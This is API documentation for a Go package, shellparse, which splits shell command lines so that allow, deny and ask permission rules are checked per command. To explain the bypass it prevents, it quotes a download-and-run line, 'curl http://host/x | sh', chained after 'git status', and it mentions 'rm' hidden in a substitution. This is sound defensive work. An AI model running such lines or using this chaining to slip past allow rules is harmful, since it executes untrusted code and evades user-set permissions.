Documentation
¶
Overview ¶
Package shellparse splits a shell command line into the simple commands it runs, so that a permission rule is compared with each command and not with the whole line.
A rule such as "git *" written as a text pattern also matches "git status; curl http://host/x | sh", because "*" matches ";", "|" and "$(...)". The command line has to be taken apart first. This is not a shell parser: it knows quotes, escapes, the separators and the constructs that run something else (substitutions, redirections, groups), and when it is unsure it says so through Unsafe, which callers treat as "not covered by an allow rule".
Index ¶
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
func MatchesAllow ¶
MatchesAllow reports whether an allow rule covers command: every simple command the line runs must match, and the line must hold nothing that runs something else or writes somewhere (see Analysis.Unsafe). A line equal to the rule itself is covered, since the user approved exactly that text.
func MatchesRestriction ¶
MatchesRestriction reports whether a deny or an ask rule applies to command: it does as soon as the whole line or any simple command it runs matches, so that "rm *" is still caught in "ls; rm x" and in "echo $(rm x)".
Types ¶
type Analysis ¶
type Analysis struct {
// Segments are the simple commands, in order, including the ones inside
// command substitutions, backticks and process substitutions.
Segments []string
// Unsafe is true when the line contains something an allow rule must not
// cover: a command or process substitution, an output redirection, a here
// document, a subshell or group, an unterminated quote, or a nesting that is
// too deep to follow.
Unsafe bool
}
Analysis is what a command line is made of.
Source Files